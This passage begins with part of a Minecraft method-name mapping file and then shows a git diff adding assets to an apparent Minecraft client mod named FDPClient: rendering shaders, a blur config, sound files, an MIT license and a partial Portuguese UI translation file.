()Lnet/minecraft/creativetab/CreativeTabs; net/minecraft/item/Item/func_77640_w ()Lnet/minecraft/creativetab/CreativeTabs; +MD: net/minecraft/item/Item/setMaxStackSize (I)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77625_d (I)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/registerItemBlock (Lnet/minecraft/block/Block;)V net/minecraft/item/Item/func_179216_c (Lnet/minecraft/block/Block;)V +MD: net/minecraft/item/Item/setUnlocalizedName (Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77655_b (Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/setContainerItem (Lnet/minecraft/item/Item;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77642_a (Lnet/minecraft/item/Item;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/setMaxDamage (I)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77656_e (I)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getByNameOrId (Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_111206_d (Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getMaxItemUseDuration (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/Item/func_77626_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/Item/onCreated (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/Item/func_77622_d (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/Item/shouldRotateAroundWhenRendering ()Z net/minecraft/item/Item/func_77629_n_ ()Z +MD: net/minecraft/item/Item/setPotionEffect (Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77631_c (Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getItemUseAction (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; net/minecraft/item/Item/func_77661_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/Item/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item/isMap ()Z net/minecraft/item/Item/func_77643_m_ ()Z +MD: net/minecraft/item/Item/hasEffect (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/Item/func_77636_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/Item/isItemTool (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/Item/func_77616_k (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/Item/getRarity (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; net/minecraft/item/Item/func_77613_e (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/Item/getItemAttributeModifiers ()Lcom/google/common/collect/Multimap; net/minecraft/item/Item/func_111205_h ()Lcom/google/common/collect/Multimap; +MD: net/minecraft/item/Item/getItemStackLimit ()I net/minecraft/item/Item/func_77639_j ()I +MD: net/minecraft/item/Item/getPotionEffect (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item/func_150896_i (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item/getHasSubtypes ()Z net/minecraft/item/Item/func_77614_k ()Z +MD: net/minecraft/item/Item/getUnlocalizedNameInefficiently (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/Item/func_77657_g (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/Item/getMaxDamage ()I net/minecraft/item/Item/func_77612_l ()I +MD: net/minecraft/item/Item/isPotionIngredient (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/Item/func_150892_m (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/Item/isDamageable ()Z net/minecraft/item/Item/func_77645_m ()Z +MD: net/minecraft/item/Item/setFull3D ()Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77664_n ()Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/getShareTag ()Z net/minecraft/item/Item/func_77651_p ()Z +MD: net/minecraft/item/Item/getContainerItem ()Lnet/minecraft/item/Item; net/minecraft/item/Item/func_77668_q ()Lnet/minecraft/item/Item; +MD: net/minecraft/item/Item/hasContainerItem ()Z net/minecraft/item/Item/func_77634_r ()Z +MD: net/minecraft/item/Item/canItemEditBlocks ()Z net/minecraft/item/Item/func_82788_x ()Z +MD: net/minecraft/item/Item/registerItems ()V net/minecraft/item/Item/func_150900_l ()V +MD: net/minecraft/item/Item/isFull3D ()Z net/minecraft/item/Item/func_77662_d ()Z +MD: net/minecraft/item/ItemStack/getRepairCost ()I net/minecraft/item/ItemStack/func_82838_A ()I +MD: net/minecraft/item/ItemStack/getAttributeModifiers ()Lcom/google/common/collect/Multimap; net/minecraft/item/ItemStack/func_111283_C ()Lcom/google/common/collect/Multimap; +MD: net/minecraft/item/ItemStack/getChatComponent ()Lnet/minecraft/util/IChatComponent; net/minecraft/item/ItemStack/func_151000_E ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/item/ItemStack/getUnlocalizedName ()Ljava/lang/String; net/minecraft/item/ItemStack/func_77977_a ()Ljava/lang/String; +MD: net/minecraft/item/ItemStack/splitStack (I)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77979_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/attemptDamageItem (ILjava/util/Random;)Z net/minecraft/item/ItemStack/func_96631_a (ILjava/util/Random;)Z +MD: net/minecraft/item/ItemStack/damageItem (ILnet/minecraft/entity/EntityLivingBase;)V net/minecraft/item/ItemStack/func_77972_a (ILnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/item/ItemStack/addEnchantment (Lnet/minecraft/enchantment/Enchantment;I)V net/minecraft/item/ItemStack/func_77966_a (Lnet/minecraft/enchantment/Enchantment;I)V +MD: net/minecraft/item/ItemStack/onBlockDestroyed (Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemStack/func_179548_a (Lnet/minecraft/world/World;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemStack/updateAnimation (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V net/minecraft/item/ItemStack/func_77945_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;IZ)V +MD: net/minecraft/item/ItemStack/useItemRightClick (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77957_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/onCrafting (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V net/minecraft/item/ItemStack/func_77980_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V +MD: net/minecraft/item/ItemStack/getStrVsBlock (Lnet/minecraft/block/Block;)F net/minecraft/item/ItemStack/func_150997_a (Lnet/minecraft/block/Block;)F +MD: net/minecraft/item/ItemStack/loadItemStackFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77949_a (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/setTagInfo (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;)V net/minecraft/item/ItemStack/func_77983_a (Ljava/lang/String;Lnet/minecraft/nbt/NBTBase;)V +MD: net/minecraft/item/ItemStack/getSubCompound (Ljava/lang/String;Z)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/item/ItemStack/func_179543_a (Ljava/lang/String;Z)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/item/ItemStack/hitEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/item/ItemStack/func_77961_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/item/ItemStack/setItemFrame (Lnet/minecraft/entity/item/EntityItemFrame;)V net/minecraft/item/ItemStack/func_82842_a (Lnet/minecraft/entity/item/EntityItemFrame;)V +MD: net/minecraft/item/ItemStack/onItemUse (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemStack/func_179546_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/item/ItemStack/interactWithEntity (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/item/ItemStack/func_111282_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/item/ItemStack/getTooltip (Lnet/minecraft/entity/player/EntityPlayer;Z)Ljava/util/List; net/minecraft/item/ItemStack/func_82840_a (Lnet/minecraft/entity/player/EntityPlayer;Z)Ljava/util/List; +MD: net/minecraft/item/ItemStack/setItem (Lnet/minecraft/item/Item;)V net/minecraft/item/ItemStack/func_150996_a (Lnet/minecraft/item/Item;)V +MD: net/minecraft/item/ItemStack/isItemEqual (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_77969_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/areItemStackTagsEqual (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_77970_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/getItem ()Lnet/minecraft/item/Item; net/minecraft/item/ItemStack/func_77973_b ()Lnet/minecraft/item/Item; +MD: net/minecraft/item/ItemStack/setItemDamage (I)V net/minecraft/item/ItemStack/func_77964_b (I)V +MD: net/minecraft/item/ItemStack/onItemUseFinish (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77950_b (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/onPlayerStoppedUsing (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V net/minecraft/item/ItemStack/func_77974_b (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;I)V +MD: net/minecraft/item/ItemStack/canHarvestBlock (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemStack/func_150998_b (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemStack/writeToNBT (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/item/ItemStack/func_77955_b (Lnet/minecraft/nbt/NBTTagCompound;)Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/item/ItemStack/copyItemStack (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77944_b (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/areItemStacksEqual (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_77989_b (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/getMaxStackSize ()I net/minecraft/item/ItemStack/func_77976_d ()I +MD: net/minecraft/item/ItemStack/setRepairCost (I)V net/minecraft/item/ItemStack/func_82841_c (I)V +MD: net/minecraft/item/ItemStack/canDestroy (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemStack/func_179544_c (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemStack/readFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/item/ItemStack/func_77963_c (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/item/ItemStack/setStackDisplayName (Ljava/lang/String;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_151001_c (Ljava/lang/String;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/getIsItemStackEqual (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_179549_c (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/areItemsEqual (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_179545_c (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/isStackable ()Z net/minecraft/item/ItemStack/func_77985_e ()Z +MD: net/minecraft/item/ItemStack/canPlaceOn (Lnet/minecraft/block/Block;)Z net/minecraft/item/ItemStack/func_179547_d (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/item/ItemStack/setTagCompound (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/item/ItemStack/func_77982_d (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/item/ItemStack/isItemStackEqual (Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemStack/func_77959_d (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemStack/isItemStackDamageable ()Z net/minecraft/item/ItemStack/func_77984_f ()Z +MD: net/minecraft/item/ItemStack/getHasSubtypes ()Z net/minecraft/item/ItemStack/func_77981_g ()Z +MD: net/minecraft/item/ItemStack/isItemDamaged ()Z net/minecraft/item/ItemStack/func_77951_h ()Z +MD: net/minecraft/item/ItemStack/getItemDamage ()I net/minecraft/item/ItemStack/func_77952_i ()I +MD: net/minecraft/item/ItemStack/getMetadata ()I net/minecraft/item/ItemStack/func_77960_j ()I +MD: net/minecraft/item/ItemStack/getMaxDamage ()I net/minecraft/item/ItemStack/func_77958_k ()I +MD: net/minecraft/item/ItemStack/copy ()Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemStack/func_77946_l ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemStack/getMaxItemUseDuration ()I net/minecraft/item/ItemStack/func_77988_m ()I +MD: net/minecraft/item/ItemStack/getItemUseAction ()Lnet/minecraft/item/EnumAction; net/minecraft/item/ItemStack/func_77975_n ()Lnet/minecraft/item/EnumAction; +MD: net/minecraft/item/ItemStack/hasTagCompound ()Z net/minecraft/item/ItemStack/func_77942_o ()Z +MD: net/minecraft/item/ItemStack/getTagCompound ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/item/ItemStack/func_77978_p ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/item/ItemStack/getEnchantmentTagList ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/item/ItemStack/func_77986_q ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/item/ItemStack/getDisplayName ()Ljava/lang/String; net/minecraft/item/ItemStack/func_82833_r ()Ljava/lang/String; +MD: net/minecraft/item/ItemStack/clearCustomName ()V net/minecraft/item/ItemStack/func_135074_t ()V +MD: net/minecraft/item/ItemStack/hasDisplayName ()Z net/minecraft/item/ItemStack/func_82837_s ()Z +MD: net/minecraft/item/ItemStack/hasEffect ()Z net/minecraft/item/ItemStack/func_77962_s ()Z +MD: net/minecraft/item/ItemStack/toString ()Ljava/lang/String; net/minecraft/item/ItemStack/toString ()Ljava/lang/String; +MD: net/minecraft/item/ItemStack/getRarity ()Lnet/minecraft/item/EnumRarity; net/minecraft/item/ItemStack/func_77953_t ()Lnet/minecraft/item/EnumRarity; +MD: net/minecraft/item/ItemStack/isItemEnchantable ()Z net/minecraft/item/ItemStack/func_77956_u ()Z +MD: net/minecraft/item/ItemStack/isItemEnchanted ()Z net/minecraft/item/ItemStack/func_77948_v ()Z +MD: net/minecraft/item/ItemStack/canEditBlocks ()Z net/minecraft/item/ItemStack/func_82835_x ()Z +MD: net/minecraft/item/ItemStack/isOnItemFrame ()Z net/minecraft/item/ItemStack/func_82839_y ()Z +MD: net/minecraft/item/ItemStack/getItemFrame ()Lnet/minecraft/entity/item/EntityItemFrame; net/minecraft/item/ItemStack/func_82836_z ()Lnet/minecraft/entity/item/EntityItemFrame; +MD: net/minecraft/init/Items/getRegisteredItem (Ljava/lang/String;)Lnet/minecraft/item/Item; net/minecraft/init/Items/func_179554_a (Ljava/lang/String;)Lnet/minecraft/item/Item; +MD: net/minecraft/item/ItemLead/attachToFence (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/item/ItemLead/func_180618_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/item/ItemLead/onItemUse (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/item/ItemLead/func_180614_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFF)Z diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/circle.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/circle.frag new file mode 100644 index 0000000..be32b05 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/circle.frag @@ -0,0 +1,19 @@ +#version 120 + +uniform vec2 size; +uniform vec4 color; + +float sdCircle(in vec2 p, in float r) +{ + return length(p) - r; +} + +void main() +{ + vec2 halfSize = size * 0.5; + + float b = sdCircle((gl_TexCoord[0].xy * size) - halfSize, min(halfSize.x, halfSize.y) - 1.0); + vec4 c = mix(color, vec4(color.rgb, 0.0), smoothstep(0.0, 1.0, b)); + + gl_FragColor = c; +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/glow.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/glow.frag new file mode 100644 index 0000000..a28f93f --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/glow.frag @@ -0,0 +1,31 @@ +#version 120 + +uniform sampler2D texture; +uniform vec2 texelSize; + +uniform vec3 color; + +uniform float radius; +uniform float divider; +uniform float maxSample; + +void main() { + vec4 centerCol = texture2D(texture, gl_TexCoord[0].xy); + + if(centerCol.a != 0) { + gl_FragColor = vec4(centerCol.rgb, 0); + } else { + + float alpha = 0; + + for (float x = -radius; x <= radius; x ++) { + for (float y = -radius; y <= radius; y ++) { + vec4 currentColor = texture2D(texture, gl_TexCoord[0].xy + vec2(texelSize.x * x, texelSize.y * y)); + + if (currentColor.a != 0) + alpha += divider > 0 ? max(0, (maxSample - distance(vec2(x, y), vec2(0))) / divider) : 1; + } + } + gl_FragColor = vec4(color, alpha); + } +} diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/outline.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/outline.frag new file mode 100644 index 0000000..d72ccdf --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/outline.frag @@ -0,0 +1,25 @@ +#version 120 + +uniform sampler2D texture; +uniform vec2 texelSize; + +uniform vec4 color; +uniform float radius; + +void main(void) { + vec4 centerCol = texture2D(texture, gl_TexCoord[0].xy); + + if(centerCol.a != 0) { + gl_FragColor = vec4(0, 0, 0, 0); + } else { + for (float x = -radius; x <= radius; x++) { + for (float y = -radius; y <= radius; y++) { + vec4 currentColor = texture2D(texture, gl_TexCoord[0].xy + vec2(texelSize.x * x, texelSize.y * y)); + + if (currentColor.a != 0) { + gl_FragColor = color; + } + } + } + } +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_font_shader.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_font_shader.frag new file mode 100644 index 0000000..577226e --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_font_shader.frag @@ -0,0 +1,25 @@ +#version 130 + +uniform float offset; +uniform vec2 strength; +uniform sampler2D font_texture; + +void main () +{ + vec4 tmpvar_1; + + tmpvar_1 = texture (font_texture, gl_TexCoord[0].xy); + + if (tmpvar_1.w == 0.0) + discard; + + + vec2 tmpvar_2 = (gl_FragCoord.xy * strength); + vec4 tmpvar_3 = vec4(clamp ((abs( + ((fract((vec3( + (float(mod (((tmpvar_2.x + tmpvar_2.y) + offset), 1.0))) + ) + vec3(1.0, 0.6666667, 0.3333333))) * 6.0) - vec3(3.0, 3.0, 3.0)) + ) - vec3(1.0, 1.0, 1.0)), 0.0, 1.0), tmpvar_1.w); + gl_FragColor = tmpvar_3; +} + diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_shader.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_shader.frag new file mode 100644 index 0000000..1772166 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/rainbow_shader.frag @@ -0,0 +1,14 @@ +#version 130 +uniform float offset; +uniform vec2 strength; + +void main() { + vec2 tmpvar_1 = (gl_FragCoord.xy * strength); + vec4 tmpvar_2 = vec4(clamp ((abs( + ((fract((vec3( + (float(mod (((tmpvar_1.x + tmpvar_1.y) + offset), 1.0))) + ) + vec3(1.0, 0.6666667, 0.3333333))) * 5.0) - vec3(3.0, 3.0, 3.0)) + ) - vec3(0.7,0.7,0.7)), 0.4, 1.0), 1.0); + gl_FragColor = tmpvar_2; +} + diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/roundrect.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/roundrect.frag new file mode 100644 index 0000000..252ac1a --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/roundrect.frag @@ -0,0 +1,22 @@ +#version 120 + +uniform vec2 size; +uniform vec4 color; +uniform float radius; +uniform float smoothness; + +float udRoundBox(in vec2 p, in vec2 b, in float r) +{ + return length(max(abs(p) - b + r, 0.0)) - r; +} + +void main() +{ + vec2 halfSize = size / 2; + float minSize = min(halfSize.x, halfSize.y); + + float b = udRoundBox((gl_TexCoord[0].xy * size) - halfSize, halfSize - smoothness, minSize * radius); + vec4 c = mix(color, vec4(color.rgb, 0.0), smoothstep(0.0, smoothness, b)); + + gl_FragColor = c; +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/fragment/separateroundrect.frag b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/separateroundrect.frag new file mode 100644 index 0000000..ed3a174 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/fragment/separateroundrect.frag @@ -0,0 +1,27 @@ +#version 120 + +uniform vec2 size; +uniform vec4 color; +uniform vec4 radius; +uniform float smoothness; + +float sdRoundBox(in vec2 p, in vec2 b, in vec4 r) +{ + r.xy = (p.x > 0.0) ? r.xy : r.zw; + r.x = (p.y > 0.0) ? r.x : r.y; + + vec2 q = abs(p) - b + r.x; + + return min(max(q.x, q.y), 0.0) + length(max(q, 0.0)) - r.x; +} + +void main() +{ + vec2 halfSize = size / 2; + float minSize = min(halfSize.x, halfSize.y); + + float b = sdRoundBox((gl_TexCoord[0].xy * size) - halfSize, halfSize - smoothness, minSize * radius); + vec4 c = mix(color, vec4(color.rgb, 0.0), smoothstep(0.0, smoothness, b)); + + gl_FragColor = c; +} \ No newline at end of file diff --git a/src/main/resources/assets/minecraft/fdpclient/shader/vertex.vert b/src/main/resources/assets/minecraft/fdpclient/shader/vertex.vert new file mode 100644 index 0000000..b801abd --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shader/vertex.vert @@ -0,0 +1,9 @@ +#version 120 + +void main(void) { + //Map gl_MultiTexCoord0 to index zero of gl_TexCoord + gl_TexCoord[0] = gl_MultiTexCoord0; + + //Calculate position by multiplying model, view and projection matrix by the vertex vector + gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex; +} diff --git a/src/main/resources/assets/minecraft/fdpclient/shadow.json b/src/main/resources/assets/minecraft/fdpclient/shadow.json new file mode 100644 index 0000000..e7883fc --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/shadow.json @@ -0,0 +1,38 @@ +{ + "targets": [ + "swap", + "braindead" + ], + "passes": [ + { + "name": "blurTest", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 2.0 ] + } + ] + }, + { + "name": "blurTest", + "intarget": "swap", + "outtarget": "braindead", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 2.0 ] + } + ] + } + ] +} diff --git a/src/main/resources/assets/minecraft/fdpclient/sound/disable.wav b/src/main/resources/assets/minecraft/fdpclient/sound/disable.wav new file mode 100644 index 0000000..26b7df2 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/sound/disable.wav differ diff --git a/src/main/resources/assets/minecraft/fdpclient/sound/disable.wava b/src/main/resources/assets/minecraft/fdpclient/sound/disable.wava new file mode 100644 index 0000000..f3a8a62 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/sound/disable.wava differ diff --git a/src/main/resources/assets/minecraft/fdpclient/sound/enable.wav b/src/main/resources/assets/minecraft/fdpclient/sound/enable.wav new file mode 100644 index 0000000..0ef8b83 Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/sound/enable.wav differ diff --git a/src/main/resources/assets/minecraft/fdpclient/sound/enable.wava b/src/main/resources/assets/minecraft/fdpclient/sound/enable.wava new file mode 100644 index 0000000..b93956b Binary files /dev/null and b/src/main/resources/assets/minecraft/fdpclient/sound/enable.wava differ diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/LICENSE b/src/main/resources/assets/minecraft/fdpclient/translations/LICENSE new file mode 100644 index 0000000..e9a82d3 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 SkidderMC + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/PT-PT/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/PT-PT/source.properties new file mode 100644 index 0000000..941f102 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/PT-PT/source.properties @@ -0,0 +1,472 @@ +# Translated by Liuli +ui.altmanager=AltManager +ui.mods=Mods +ui.background=Background +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconnect +ui.changelog=ChangeLog + +ui.back=Back +ui.status=Status +ui.on=On +ui.off=Off + +ui.serverSpoof.address=Server Address + +ui.proxy.screen=Proxy Manager +ui.proxy.address=Address +ui.proxy.type=Proxy Type + +ui.background.gtype=Type +ui.background.gcurrent=Current +ui.background.ganimated=Animated +ui.background.particles=Particles +ui.background.change=Change wallpaper +ui.background.reset=Reset wallpaper + +ui.chest.stealing=Stealing Chest +ui.chest.disable=Disable %s + +ui.gameover.close=Hide This Screen + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.update.released=FDPClient %s is available\! +ui.update.dismiss=Dismiss +ui.update.download=Download + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Selecione um módulo para vincular +ui.keybind.addMacro=Pressione ENTER para adicionar macro. +ui.keybind.add=+ Adicionar +ui.keybind.key=Chave %s +ui.keybind.search=Pesquisar ... + +ui.alt.idle=Inativo ... +ui.alt.nameChanged=§cSeu nome agora é §8 %s §c. +ui.alt.error=Ocorreu um erro\: %s +ui.alt.login=Conectar-se +ui.alt.add=Adicionar +ui.alt.remove=Remover +ui.alt.import=Importar +ui.alt.directLogin=Login direto +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Copiar +ui.alt.alts=%d Altos +ui.alt.username=§7Usuário\: §a %s +ui.alt.type=§7Tipo\: 